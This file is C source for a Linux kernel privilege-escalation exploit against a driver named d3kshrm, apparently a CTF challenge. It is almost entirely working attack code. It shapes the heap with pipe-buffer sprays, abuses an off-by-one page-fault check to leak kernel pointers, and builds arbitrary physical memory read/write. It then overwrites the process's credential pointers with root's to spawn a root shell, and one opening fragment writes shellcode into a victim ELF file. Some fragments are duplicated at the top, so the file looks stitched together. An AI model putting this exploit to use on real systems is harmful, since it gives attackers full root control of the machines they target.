void delete_chunk(int dev_fd, size_t index) {
  ioctl(dev_fd, CMD_DELETE_CHUNK, index);
}

log.info("Spraying kmalloc-4k pipe buffers into freed odd slots");
for (int i = 0; i < MAX_PIPE_COUNT; i++) {
    resize_pipe_buffer(i, PIPE_BUF_SIZE);
}

void resize_pipe_buffer(int pipe_idx, int new_size) {
  if (fcntl(pipe_fds[pipe_idx][0], F_SETPIPE_SZ, new_size) < 0) {
    log.error("Pipe resize failed for pipe %d", pipe_idx);
    exit(EXIT_FAILURE);
  }
}

log.info("Freeing even-indexed order-3 pages");
for (int i = 0; i < CHUNK_COUNT; i += 2) {
    delete_chunk(dev_fd[0], chunk_ids[i]);
}

log.info("Allocating vuln chunks in freed even slots");
for (int i = 0; i < CHUNK_COUNT; i++) {
    chunk_ids[i] = create_chunk(dev_fd[i], VULN_CHUNK_SIZE);
}

log.info("Replacing pipe_buffer->page with victim file mapping via splice()");
loff_t offset = 1;
for (int i = 0; i < MAX_PIPE_COUNT; i++) {
    if (splice(victim_fd, &offset, pipe_fds[i][1], NULL, 1, 0) < 0) {
        log.error("splice() failed on pipe %d", i);
        exit(EXIT_FAILURE);
    }
}

log.info("Triggering d3kshrm_mmap and extending mapping");
for (int i = 0; i < CHUNK_COUNT; i++) {
    bind_chunk(dev_fd[i], chunk_ids[i]);
    victim_map[i] =
        mmap(NULL, MMAP_SIZE, PROT_READ | PROT_WRITE, MAP_SHARED, dev_fd[i], 0);
    if (victim_map[i] == MAP_FAILED) {
        log.error("mmap() failed on chunk %d", i);
        exit(EXIT_FAILURE);
    }

    victim_map[i] =
        mremap(victim_map[i], MMAP_SIZE, MREMAP_SIZE, MREMAP_MAYMOVE);
    if (victim_map[i] == MAP_FAILED) {
        log.error("mremap() failed to extend mapping for chunk %d", i);
        exit(EXIT_FAILURE);
    }
}

log.info("Triggering page faults to detect ELF header");
for (int i = 0; i < CHUNK_COUNT; i++) {
    log.debug("Testing chunk %d", i);
    if (((size_t *)(victim_map[i] + 0x1000 * 0x200))[0] == ELF_MAGIC) {
        hex_dump("Victim file data", (void *)(victim_map[i] + 0x1000 * 0x200),
                 0x60);
        log.success("ELF header detected at chunk %d", i);
        log.success("Writing shellcode to victim file");
        memcpy((void *)(victim_map[i] + 0x1000 * 0x200), elf_code,
               sizeof(elf_code));
        hex_dump("Evil file data", (void *)(victim_map[i] + 0x1000 * 0x200),
                 0x60);
        log.success("Exploit successful!");
        log.success("Type 'exit' to trigger shellcode execution");
        break;
    }
}

// d3kshrm_vm_fault中的有缺陷检查
if (vmf->pgoff > chunk->page_count) {  // 应该使用>=
    res = VM_FAULT_SIGBUS;
    goto out;
}
// 当pgoff = page_count = 512时
// 512 > 512 为 false，检查通过

log.info("Cleaning up file descriptors");
for (int i = 0; i < CHUNK_COUNT; i++) {
    close(dev_fd[i]);
}
close(victim_fd);

#define ANON_PIPE_BUF_OPS 0xffffffff82429608
#ifdef SECONDARY_STARTUP_64
#undef SECONDARY_STARTUP_64
#endif
#define SECONDARY_STARTUP_64 0xffffffff8123c600

#define CHUNK_COUNT 0x20
#define MAX_PIPE_COUNT 0xf0

#define DEVICE_PATH "/proc/d3kshrm"

#define CMD_CREATE_CHUNK 0x3361626e
#define CMD_DELETE_CHUNK 0x74747261
#define CMD_BIND_CHUNK 0x746e6162
#define CMD_UNBIND_CHUNK 0x33746172

#define VULN_CHUNK_SIZE 0x200
#define PIPE_BUF_SIZE (0x1000 * 64)
#define MMAP_SIZE (0x1000 * 0x200)
#define MREMAP_SIZE (0x1000 * 0x201)

// Live task_struct addressing state during the exploit
size_t current_task_addr;                           // Virtual address of current task_struct
size_t current_task_page_addr;                      // Physical page holding current task_struct
size_t parent_task_addr;                            // Virtual address of parent task_struct
size_t root_task_addr;                              // Virtual address of root task_struct (swapper/init)
size_t root_task_page_addr;                         // Physical page holding root task_struct
size_t root_cred_addr;                              // Virtual address of root credentials
size_t root_nsproxy_addr;                           // Virtual address of root namespace proxy

int pipe_fds[MAX_PIPE_COUNT * 2][2];
int chunk_ids[CHUNK_COUNT * 2];
int dev_fd[CHUNK_COUNT * 2];
void *victim_map[CHUNK_COUNT * 2];
int victim_pipe_idx = -1;
int victim_chunk_idx = -1;
int second_victim_pipe_idx = -1;
int second_victim_chunk_idx = -1;
size_t pipe_buffer_data[0x1000];
struct pipe_buffer fake_pipe_buf = {0};
size_t *leak_data;
/*==========================================================================*
 * PIPELINE MANAGEMENT
 *==========================================================================*/

/**
 * create_pipe - Create pipe for heap shaping
 * @pipe_idx: Index in global pipe array
 */
void create_pipe(int pipe_idx) {
    if (pipe(pipe_fds[pipe_idx]) < 0) {
        log.error("Pipe creation failed at index %d", pipe_idx);
        exit(EXIT_FAILURE);
    }
}

/**
 * resize_pipe_buffer - Adjust pipe buffer size via fcntl
 * @pipe_idx: Pipe index in global array
 * @new_size: Target pipe capacity
 */
void resize_pipe_buffer(int pipe_idx, int new_size) {
    if (fcntl(pipe_fds[pipe_idx][0], F_SETPIPE_SZ, new_size) < 0) {
        log.error("Pipe resize failed for pipe %d", pipe_idx);
        exit(EXIT_FAILURE);
    }
}

/*==========================================================================*
 * DEVICE IOCTL INTERFACE
 *==========================================================================*/

/**
 * create_chunk - Allocate kernel chunk via device ioctl
 * @dev_fd: Open device file descriptor
 * @num: Allocation size parameter
 * Returns: Chunk identifier
 */
int create_chunk(int dev_fd, size_t num) {
    return ioctl(dev_fd, CMD_CREATE_CHUNK, num);
}

/**
 * delete_chunk - Free kernel chunk via device ioctl
 * @dev_fd: Open device file descriptor
 * @index: Chunk identifier to free
 */
void delete_chunk(int dev_fd, size_t index) {
    ioctl(dev_fd, CMD_DELETE_CHUNK, index);
}

/**
 * bind_chunk - Establish chunk mapping context
 * @dev_fd: Open device file descriptor
 * @id: Chunk identifier to bind
 */
void bind_chunk(int dev_fd, size_t id) {
    ioctl(dev_fd, CMD_BIND_CHUNK, id);
}

/**
 * unbind_chunk - Release chunk mapping context
 * @dev_fd: Open device file descriptor
 * @index: Chunk identifier to unbind
 */
void unbind_chunk(int dev_fd, size_t index) {
    ioctl(dev_fd, CMD_UNBIND_CHUNK, index);
}

/*==========================================================================*
 * ARBITRARY PHYSICAL MEMORY ACCESS
 *==========================================================================*/

/**
 * arbitrary_phys_read - Read arbitrary physical memory through pipe primitive
 * @target_page: Physical page address
 * @page_offset: Offset within target page
 * @output_buffer: Destination buffer for read data
 * @read_length: Number of bytes to read
 */
void arbitrary_phys_read(uint64_t target_page, uint32_t page_offset,
                         void *output_buffer, uint64_t read_length) {
    fake_pipe_buf.page = (struct page *)target_page;
    fake_pipe_buf.offset = page_offset;
    fake_pipe_buf.len = 0xfff;
    memcpy(leak_data, &fake_pipe_buf, sizeof(struct pipe_buffer));
    read(pipe_fds[second_victim_pipe_idx][0], output_buffer, read_length);
}

/**
 * arbitrary_phys_write - Write arbitrary physical memory through pipe primitive
 * @target_page: Physical page address
 * @page_offset: Offset within target page
 * @input_data: Source buffer containing write data
 * @write_length: Number of bytes to write
 */
void arbitrary_phys_write(uint64_t target_page, uint32_t page_offset,
                          void *input_data, uint64_t write_length) {
    fake_pipe_buf.page = (struct page *)target_page;
    fake_pipe_buf.offset = page_offset;
    fake_pipe_buf.len = 0;
    memcpy(leak_data, &fake_pipe_buf, sizeof(struct pipe_buffer));
    write(pipe_fds[second_victim_pipe_idx][1], input_data, write_length);
}

/*==========================================================================*
 * KERNEL ADDRESS RESOLUTION
 *==========================================================================*/

/**
 * find_vmemmap_base - Locate vmemmap base via physical memory scanning
 *
 * Strategy: Scan backward from leaked page pointer to find kernel code region
 */
void find_vmemmap_base(void) {
    // Start scan from page-aligned address derived from leaked page pointer
    vmemmap_base = (size_t)fake_pipe_buf.page & 0xfffffffff0000000;
    size_t round = 0;

    for (round = 0;; round++) {
        size_t candidate_value[4] = {0};
        arbitrary_phys_read((vmemmap_base + 0x2740), 0, candidate_value, 0x10);

        // Verify candidate matches secondary_startup_64 signature and kernel base constraints
        if (candidate_value[0] > kernel_base &&
            ((candidate_value[0] & 0xfff) == (SECONDARY_STARTUP_64 & 0xfff))) {
            log.success("Located secondary_startup_64 signature in physmem, addr=0x%lx",
                        candidate_value[0]);
            break;
        }
        vmemmap_base -= 0x10000000;  // Step backward through physical memory regions
    }
    log.success("Successfully mapped vmemmap_base address: 0x%lx", vmemmap_base);
}

/*==========================================================================*
 * TASK_STRUCT ENUMERATION
 *==========================================================================*/

/**
 * scan_for_task_structs - Locate current and root task_structs in physical memory
 *
 * Strategy: Scan physical pages for process comm strings and validate task_struct fields
 */
void scan_for_task_structs(void) {
    size_t round = 0;
    int current_task_found = 0;
    int root_task_found = 0;
    char page_content_buffer[0x1000] = {0};
    size_t *current_comm_ptr;
    size_t *root_comm_ptr;

    // Set unique process identifier for reliable memory scanning
    prctl(PR_SET_NAME, "pwn4kernel");
    log.info("Scanning physical memory pages to identify active task_struct instances");

    for (round = 0;; round++) {
        memset(page_content_buffer, 0, 0x1000);
        arbitrary_phys_read((vmemmap_base + round * 0x40), 0, page_content_buffer, 0xf00);

        current_comm_ptr = (size_t *)memmem(page_content_buffer, 0xf00, "pwn4kernel", 10);
        root_comm_ptr = (size_t *)memmem(page_content_buffer, 0xf00, "swapper", 7);

        // Validate current task_struct by checking critical field integrity
        if (current_comm_ptr && (current_comm_ptr[-2] > 0xffff888000000000)   // cred validity
            && (current_comm_ptr[-3] > 0xffff888000000000)                    // real_cred validity
            && (current_comm_ptr[-59] > 0xffff888000000000)                   // real_parent validity
            && (current_comm_ptr[-58] > 0xffff888000000000)) {                // parent validity
            current_task_found++;
            parent_task_addr = current_comm_ptr[-59];  // Capture parent pointer

            // Derive task_struct address from ptraced field pointer
            current_task_addr = current_comm_ptr[-52] - 0x5d8;

            // Calculate page_offset_base from physical memory mapping
            page_offset_base = (current_comm_ptr[-52] & 0xfffffffffffff000) - round * 0x1000;
            page_offset_base &= 0xfffffffff0000000;

            current_task_page_addr = (vmemmap_base + round * 0x40);
            log.success("[Round %d] Mapped current task_struct to phys page: 0x%lx", round,
                        current_task_page_addr);
            log.success("[Round %d] Resolved page_offset_base mapping addr: 0x%lx", round,
                        page_offset_base);
            log.success("[Round %d] Captured parent task_struct virt addr: 0x%lx", round,
                        parent_task_addr);
            log.success("[Round %d] Resolved current task_struct virt addr: 0x%lx", round,
                        current_task_addr);
            if (current_task_found && root_task_found)
                break;
        }

        // Validate root task_struct (swapper) by field integrity
        if (root_comm_ptr && (root_comm_ptr[-2] > 0xffff888000000000)   // cred validity
            && (root_comm_ptr[-3] > 0xffff888000000000)                // real_cred validity
            && (root_comm_ptr[-59] > 0xffff888000000000)               // real_parent validity
            && (root_comm_ptr[-58] > 0xffff888000000000)) {            // parent validity

            if (root_task_found)
                continue;

            root_task_found++;
            root_cred_addr = root_comm_ptr[-3];     // Capture root cred pointer
            root_task_addr = root_comm_ptr[-52] - 0x5d8;  // Derive root task address
            root_nsproxy_addr = root_comm_ptr[9];   // Capture root nsproxy pointer
            root_task_page_addr = (vmemmap_base + round * 0x40);
            log.success("[Round %d] Mapped root swapper task_struct to phys page: 0x%lx", round,
                        root_task_page_addr);
            log.success("[Round %d] Resolved root task_struct virtual addr: 0x%lx", round,
                        root_task_addr);
            log.success("[Round %d] Captured root credentials virt addr: 0x%lx", round,
                        root_cred_addr);
            log.success("[Round %d] Resolved root nsproxy virt addr: 0x%lx", round,
                        root_nsproxy_addr);
            if (current_task_found && root_task_found)
                break;
        }
    }
}

/*==========================================================================*
 * PRIVILEGE ESCALATION
 *==========================================================================*/

/**
 * overwrite_cred_with_root - Replace current task credentials with root credentials
 *
 * Strategy: Overwrite current task_struct's cred/real_cred pointers to point to root's
 */
void overwrite_cred_with_root(void) {
    size_t round = 0;
    char task_copy_buffer[0x1000] = {0};
    size_t *current_comm_field_ptr;

    log.info("Modifying current task_struct credentials to gain root privileges");
    for (round = 0;; round++) {
        memset(task_copy_buffer, 0, 0x1000);
        arbitrary_phys_read((current_task_page_addr + round * 0x40), 0, task_copy_buffer, 0xf00);

        current_comm_field_ptr = (size_t *)memmem(task_copy_buffer, 0xf00, "pwn4kernel", 10);

        // Validate task_struct integrity before modification
        if (current_comm_field_ptr && (current_comm_field_ptr[-2] > 0xffff888000000000) &&
            (current_comm_field_ptr[-3] > 0xffff888000000000) &&
            (current_comm_field_ptr[-59] > 0xffff888000000000) &&
            (current_comm_field_ptr[-58] > 0xffff888000000000)) {
            // Replace credential pointers with root equivalents
            current_comm_field_ptr[-2] = root_cred_addr;  // Overwrite task->cred
            current_comm_field_ptr[-3] = root_cred_addr;  // Overwrite task->real_cred
            current_comm_field_ptr[9] = root_nsproxy_addr;  // Overwrite task->nsproxy

            // Commit modified task_struct to physical memory
            arbitrary_phys_write((current_task_page_addr + round * 0x40), 0, task_copy_buffer, 0xf00);

            log.success("[Round %d] Credential patching complete at phys page: 0x%lx", round,
                        current_task_page_addr);
            break;
        }
    }
}

/*==========================================================================*
 * EXPLOIT PHASE FUNCTIONS
 *==========================================================================*/

/**
 * phase_environment_bootstrap - Initialize exploit environment
 * Description: Open device file descriptors for the exploit
 */
int phase_environment_bootstrap(void) {
    log.info("===========================================================");
    log.info("PHASE 1: ENVIRONMENT INITIALIZATION & DEVICE SETUP         ");
    log.info("===========================================================");

    log.info("Initializing exploit environment");
    bind_core(0);
    save_status();

    log.info("Opening " DEVICE_PATH " device file");
    for (int i = 0; i < CHUNK_COUNT * 2; i++) {
        dev_fd[i] = open(DEVICE_PATH, O_RDWR);
        if (dev_fd[i] < 0) {
            log.error("Failed to open device file");
            return -1;
        }
    }

    return 0;
}

/**
 * phase_heap_fengshui - Prepare heap layout for exploitation
 * Description: Create pipes, spray order-3 pages, free odd/even pages, and allocate vulnerable chunks
 */
int phase_heap_fengshui(void) {
    log.info("===========================================================");
    log.info("PHASE 2: HEAP SHAPING & MEMORY LAYOUT MANIPULATION         ");
    log.info("===========================================================");

    log.info("Creating %d pipes for heap shaping", MAX_PIPE_COUNT);
    for (int i = 0; i < MAX_PIPE_COUNT; i++) {
        create_pipe(i);
    }

    log.info("Spraying %d order-3 pages via chunk allocation", CHUNK_COUNT);
    for (int i = 0; i < CHUNK_COUNT; i++) {
        chunk_ids[i] = create_chunk(dev_fd[0], 0);
    }

    log.info("Freeing odd-indexed order-3 pages");
    for (int i = 1; i < CHUNK_COUNT; i += 2) {
        delete_chunk(dev_fd[0], chunk_ids[i]);
    }

    log.info("Spraying kmalloc-4k pipe buffers into freed odd slots");
    for (int i = 0; i < MAX_PIPE_COUNT; i++) {
        resize_pipe_buffer(i, PIPE_BUF_SIZE);
    }

    log.info("Freeing even-indexed order-3 pages");
    for (int i = 0; i < CHUNK_COUNT; i += 2) {
        delete_chunk(dev_fd[0], chunk_ids[i]);
    }

    log.info("Allocating vuln chunks in freed even slots");
    for (int i = 0; i < CHUNK_COUNT; i++) {
        chunk_ids[i] = create_chunk(dev_fd[i], VULN_CHUNK_SIZE);
    }

    return 0;
}

/**
 * phase_prepare_oob_detection - Prepare for OOB read detection
 * Description: Write magic numbers and indices to pipes for identification,
 *              then trigger d3kshrm_mmap via mmap()/mremap() to establish
 *              memory layout for OOB read detection
 */
int phase_prepare_oob_detection(void) {
    log.info("===========================================================");
    log.info("PHASE 3: PREPARING OOB READ DETECTION                     ");
    log.info("===========================================================");

    log.info("Writing magic numbers and indices to pipes for identification");
    for (int i = 0; i < MAX_PIPE_COUNT; i++) {
        pipe_buffer_data[0] = *(size_t *)"BinRacer";  // Magic number for validation
        pipe_buffer_data[1] = i;                      // Pipe index for identification
        write(pipe_fds[i][1], pipe_buffer_data, 0x10);
    }

    log.info("Triggering d3kshrm_mmap and extending mapping to establish overlap");
    for (int i = 0; i < CHUNK_COUNT; i++) {
        bind_chunk(dev_fd[i], chunk_ids[i]);
        victim_map[i] =
            mmap(NULL, MMAP_SIZE, PROT_READ | PROT_WRITE, MAP_SHARED, dev_fd[i], 0);
        if (victim_map[i] == MAP_FAILED) {
            log.error("mmap() failed on chunk %d", i);
            return -1;
        }

        victim_map[i] = mremap(victim_map[i], MMAP_SIZE, MREMAP_SIZE, MREMAP_MAYMOVE);
        if (victim_map[i] == MAP_FAILED) {
            log.error("mremap() failed to extend mapping for chunk %d", i);
            return -1;
        }
    }

    return 0;
}

/**
 * phase_oob_detection_via_page_fault - Detect pipe overlap via page faults
 * Description: Trigger page faults to detect magic number 0x72656361526e6942 ("BinRacer")
 */
int phase_oob_detection_via_page_fault(void) {
    log.info("===========================================================");
    log.info("PHASE 4: DETECTING OOB READ VIA PAGE FAULTS                ");
    log.info("===========================================================");

    log.info("Triggering page faults to detect magic number 0x72656361526e6942 (BinRacer)");
    for (int i = 0; i < CHUNK_COUNT; i++) {
        log.debug("Testing chunk %d", i);
        leak_data = (size_t *)(victim_map[i] + 0x1000 * 0x200);
        if (leak_data[0] == 0x72656361526e6942) {  // "BinRacer" in little endian
            victim_chunk_idx = i;
            victim_pipe_idx = ((size_t *)(victim_map[i] + 0x1000 * 0x200))[1];
            log.success("Found Victim pipe: %d, Victim chunk: %d", victim_pipe_idx,
                        victim_chunk_idx);
            hex_dump("Victim pipe data", leak_data, 0x30);
            break;
        }
    }

    if (victim_pipe_idx == -1) {
        log.error("No victim pipe detected! Exploit failed at initial OOB detection");
        return -1;
    }

    return 0;
}

/**
 * phase_cleanup_and_order0_spray - Clean victim pipe and spray order-0 objects
 * Description: Close victim pipe, release its page via munmap, spray kmalloc-192/order-0,
 *              free device chunk, and re-spray driver chunks to occupy freed memory
 */
int phase_cleanup_and_order0_spray(void) {
    log.info("===========================================================");
    log.info("PHASE 5: CLEANUP & ORDER-0 HEAP SPRAY                      ");
    log.info("===========================================================");

    log.info("Cleaning victim pipe and preparing for second stage spray");
    close(pipe_fds[victim_pipe_idx][0]);
    close(pipe_fds[victim_pipe_idx][1]);
    munmap(victim_map[victim_chunk_idx], MREMAP_SIZE);

    log.info("Spraying kmalloc-192/order-0 objects via pipe buffer resize");
    for (int i = 0; i < MAX_PIPE_COUNT; i++) {
        if (i == victim_pipe_idx)
            continue;
        resize_pipe_buffer(i, 0x1000 * 4);
    }

    log.info("Freeing victim device chunk for reallocation");
    unbind_chunk(dev_fd[victim_chunk_idx], chunk_ids[victim_chunk_idx]);
    delete_chunk(dev_fd[victim_chunk_idx], chunk_ids[victim_chunk_idx]);

    log.info("Spraying driver chunks to occupy freed memory regions");
    for (int i = CHUNK_COUNT; i < CHUNK_COUNT * 2; i++) {
        chunk_ids[i] = create_chunk(dev_fd[i], VULN_CHUNK_SIZE);
    }

    log.info("Triggering d3kshrm_mmap and extending mapping for second stage");
    for (int i = CHUNK_COUNT; i < CHUNK_COUNT * 2; i++) {
        bind_chunk(dev_fd[i], chunk_ids[i]);
        victim_map[i] =
            mmap(NULL, MMAP_SIZE, PROT_READ | PROT_WRITE, MAP_SHARED, dev_fd[i], 0);
        if (victim_map[i] == MAP_FAILED) {
            log.error("mmap() failed on chunk %d", i);
            return -1;
        }

        victim_map[i] = mremap(victim_map[i], MMAP_SIZE, MREMAP_SIZE, MREMAP_MAYMOVE);
        if (victim_map[i] == MAP_FAILED) {
            log.error("mremap() failed to extend mapping for chunk %d", i);
            return -1;
        }
    }

    return 0;
}

/**
 * phase_kernel_pointer_leak_via_oob - Leak kernel pointers via OOB read
 * Description: Use driver page fault to read pipe_buffer structure, leaking kernel page
 *              and function pointer addresses
 */
int phase_kernel_pointer_leak_via_oob(void) {
    log.info("===========================================================");
    log.info("PHASE 6: KERNEL POINTER LEAK VIA OOB READ                  ");
    log.info("===========================================================");

    log.info("Scanning for kernel pointers in second victim chunk");
    for (int i = CHUNK_COUNT; i < CHUNK_COUNT * 2; i++) {
        log.debug("Testing chunk %d", i);
        leak_data = (size_t *)(victim_map[i] + 0x1000 * 0x200);
        if (leak_data[0] > vmemmap_base && leak_data[2] > kernel_base) {
            memset(&fake_pipe_buf, 0, sizeof(struct pipe_buffer));
            memcpy(&fake_pipe_buf, leak_data, sizeof(struct pipe_buffer));
            second_victim_chunk_idx = i;
            kernel_offset = leak_data[2] - ANON_PIPE_BUF_OPS;
            kernel_base += kernel_offset;
            log.success("Found Second Victim chunk: %d", second_victim_chunk_idx);
            log.success("Leaked pipe_buffer->page kernel pointer: 0x%lx", leak_data[0]);
            log.success("Leaked pipe_buffer->ops(anon_pipe_buf_ops) function pointer: 0x%lx",
                        leak_data[2]);
            log.success("kernel base address: 0x%lx", kernel_base);
            log.success("kernel ASLR offset delta: 0x%lx", kernel_offset);
            hex_dump("Leaked pipe_buffer structure", leak_data, 0x30);
            break;
        }
    }

    if (second_victim_chunk_idx == -1) {
        log.error("No second victim pipe detected! Kernel pointer leak failed");
        return -1;
    }

    return 0;
}

/**
 * phase_arbitrary_phys_rw_primitive - Establish arbitrary physical R/W primitive
 * Description: Modify target pipe_buffer->offset to skip magic number, then identify
 *              correct pipe for arbitrary physical memory operations
 */
int phase_arbitrary_phys_rw_primitive(void) {
    log.info("===========================================================");
    log.info("PHASE 7: ARBITRARY PHYSICAL MEMORY R/W PRIMITIVE           ");
    log.info("===========================================================");

    log.info("Configuring arbitrary physical memory read/write primitive");
    fake_pipe_buf.offset = 0x8;  // Skip magic number to identify correct pipe
    memcpy(leak_data, &fake_pipe_buf, sizeof(struct pipe_buffer));

    log.info("Scanning pipes to identify target for arbitrary R/W operations");
    for (int i = 0; i < MAX_PIPE_COUNT; i++) {
        if (i == victim_pipe_idx)
            continue;
        size_t magic = 0;
        read(pipe_fds[i][0], &magic, 0x8);
        if (magic != 0x72656361526e6942) {  // Check for "BinRacer" magic
            second_victim_pipe_idx = i;
            log.success("Found target pipe for arbitrary R/W: %d", second_victim_pipe_idx);
            break;
        }
    }

    if (second_victim_pipe_idx == -1) {
        log.error("Failed to locate target pipe for arbitrary R/W operations");
        return -1;
    }

    return 0;
}

/**
 * phase_kernel_memory_scanning - Scan physical memory for kernel structures
 * Description: Find vmemmap_base and locate current/root task_structs
 */
int phase_kernel_memory_scanning(void) {
    log.info("===========================================================");
    log.info("PHASE 8: KERNEL MEMORY SCANNING & STRUCTURE LOCALIZATION   ");
    log.info("===========================================================");

    log.info("Initiating kernel memory exploration phase");
    find_vmemmap_base();
    scan_for_task_structs();

    return 0;
}

/**
 * phase_privilege_escalation - Escalate privileges to root
 * Description: Overwrite current task credentials with root credentials and spawn shell
 */
int phase_privilege_escalation(void) {
    log.info("===========================================================");
    log.info("PHASE 9: CREDENTIAL OVERWRITE & PRIVILEGE ESCALATION       ");
    log.info("===========================================================");

    overwrite_cred_with_root();
    get_root_shell();
    return 0;
}

/**
 * phase_resource_cleanup - Clean up resources
 */
void phase_resource_cleanup(void) {
    log.info("===========================================================");
    log.info("PHASE 10: RESOURCE CLEANUP & FINALIZATION                  ");
    log.info("===========================================================");

    log.info("Performing resource cleanup");

    // Close device file descriptors
    for (int i = 0; i < CHUNK_COUNT * 2; i++) {
        if (dev_fd[i] > 0) {
            close(dev_fd[i]);
        }
    }

    // Unmap victim mappings
    for (int i = 0; i < CHUNK_COUNT * 2; i++) {
        if (victim_map[i] != MAP_FAILED && victim_map[i] != NULL) {
            munmap(victim_map[i], MREMAP_SIZE);
        }
    }

    // Close pipe file descriptors
    for (int i = 0; i < MAX_PIPE_COUNT; i++) {
        if (pipe_fds[i][0] > 0) {
            close(pipe_fds[i][0]);
        }
        if (pipe_fds[i][1] > 0) {
            close(pipe_fds[i][1]);
        }
    }

    log.info("Cleanup completed");
}

/*==========================================================================*
 * MAIN EXPLOIT ORCHESTRATION
 *==========================================================================*/

int main() {
    //==================================================================
    // PHASE 1: ENVIRONMENT BOOTSTRAP
    //==================================================================
    if (phase_environment_bootstrap()) goto cleanup;
    puts("");

    //==================================================================
    // PHASE 2: HEAP FENGSHUI PREPARATION
    //==================================================================
    if (phase_heap_fengshui()) goto cleanup;
    puts("");

    //==================================================================
    // PHASE 3: PREPARING OOB READ DETECTION
    //==================================================================
    if (phase_prepare_oob_detection()) goto cleanup;
    puts("");

    //==================================================================
    // PHASE 4: OOB DETECTION VIA PAGE FAULTS
    //==================================================================
    if (phase_oob_detection_via_page_fault()) goto cleanup;
    puts("");

    //==================================================================
    // PHASE 5: CLEANUP & ORDER-0 HEAP SPRAY
    //==================================================================
    if (phase_cleanup_and_order0_spray()) goto cleanup;
    puts("");

    //==================================================================
    // PHASE 6: KERNEL POINTER LEAK VIA OOB READ
    //==================================================================
    if (phase_kernel_pointer_leak_via_oob()) goto cleanup;
    puts("");

    //==================================================================
    // PHASE 7: ARBITRARY PHYSICAL MEMORY R/W PRIMITIVE
    //==================================================================
    if (phase_arbitrary_phys_rw_primitive()) goto cleanup;
    puts("");

    //==================================================================
    // PHASE 8: KERNEL MEMORY SCANNING & STRUCTURE LOCALIZATION
    //==================================================================
    if (phase_kernel_memory_scanning()) goto cleanup;
    puts("");

    //==================================================================
    // PHASE 9: PRIVILEGE ESCALATION & ROOT ACCESS
    //==================================================================
    if (phase_privilege_escalation()) goto cleanup;
    puts("");

cleanup:
    //==================================================================
    // PHASE 10: RESOURCE CLEANUP
    //==================================================================
    phase_resource_cleanup();
    return 0;
}